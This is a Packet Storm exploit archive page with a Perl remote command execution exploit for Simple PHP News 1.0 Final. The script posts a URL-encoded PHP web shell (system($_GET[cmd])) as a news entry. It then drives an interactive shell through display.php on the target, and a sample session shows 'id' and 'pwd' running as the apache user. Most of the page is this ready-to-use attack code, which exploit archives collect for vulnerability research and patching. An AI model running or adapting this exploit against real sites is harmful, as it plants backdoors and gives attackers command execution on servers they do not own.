what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Simple PHP News 1.0 Final Code Execution

Simple PHP News 1.0 Final Code Execution
Posted Feb 6, 2009
Authored by Osirys | Site y-osirys.com

Simple PHP News version 1.0 Final remote command execution exploit.

tags | exploit, remote, php
SHA-256 | 8dd581d106f343d38f8105a12dd49f0a81c77856bc8ef9a0ada8477a69278064

Simple PHP News 1.0 Final Code Execution

Change Mirror Download
#!/usr/bin/perl

# -----------------------------------------------------------------------------
# INFORMATIONS
# -----------------------------------------------------------------------------

# App => Simple PHP News 1.0 Final
# Downl => http://www.hotscripts.com/jump.php?listing_id=66376&jump_type=1

# Remote Command Execution Exploit
# by Osirys
# osirys[at]autistici[dot]org
# osirys.org
# Thx&Greets to: evilsocket

# A personal comment : just bleah !!

# Tested with: Magic Quotes => Off

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl rce_lol.txt http://localhost/php_simple_news/

# ---------------------------------
# Simple PHP News RCE Exploit
# by Osirys
# ---------------------------------

# [*] Adding new evil news ..
# [*] RCE Created !
# [&] Hi my master, do your job now [!]

# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/php_simple_news
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $post_pag = "/post.php";
my $rce_path = "/display.php";
my $rand = int(rand 99) +1;
my $host = $ARGV[0];


($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $date = &date;
my $url = $path.$post_pag;

my $code = "title=Shout&date=".$date. "&post=%3C%3Fphp%0D%0Aecho+".
"%22shoutZ0".$rand."%22%3B%0D%0Aif%28get_magic_quotes_".
"gpc%28%29%29%7B%0D%0A+++%24_GET%5Bcmd%5D%3Dstripslash".
"es%28%24_GET%5Bcmd%5D%29%3B%0D%0A%7D%0D%0Asystem%28%2".
"4_GET%5Bcmd%5D%29%3B%0D%0Aecho+%22-0Ztuohs".$rand."%2".
"2%3B%0D%0A%3F%3E";

my $length = length($code);

my $data = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".$length."\r\n\r\n".
$code."\r\n";

my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

print "[*] Adding new evil news ..\n";
$socket->send($data);

while ((my $e = <$socket>)&&($own != 1)) {
if ($e =~ /Entry added successfully/) {
$own = 1;
print "[*] RCE Created ! \n";
}
}
$own == 1 || die "[-] Can't send new news !\n";

print "[&] Hi my master, do your job now [!]\n\n";
&exec_cmd;

sub exec_cmd {
my(@outs,$out);
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = $host.$rce_path."?cmd=".$cmd;
$re = get_req($exec_url);
$content = tag($re);
if ($content =~ /shoutZ0$rand(.*)-0Ztuohs$rand/) {
$out = $1;
@outs = split //, $out;
foreach my $e(@outs) {
$e =~ s/\*/\n/;
print $e;
}
&exec_cmd;
}
elsif ($content =~ /shoutZ0$rand-0Ztuohs$rand/) {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}

sub date {
my $year = (localtime)[5] + 1900;
my $month = (localtime)[4];
my $day = (localtime)[3];
$month =~ s/([0-9]{1})/0$1/ if ($month =~ /[0-9]{1}/);
$day =~ s/([0-9]{1})/0$1/ if ($day =~ /[0-9]{1}/);
my $date = $month."/".$day."/".$year;
return($date);
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/\n/\*/g;
return($string);
}

sub banner {
print "\n".
" --------------------------------- \n".
" Simple PHP News RCE Exploit \n".
" by Osirys \n".
" --------------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close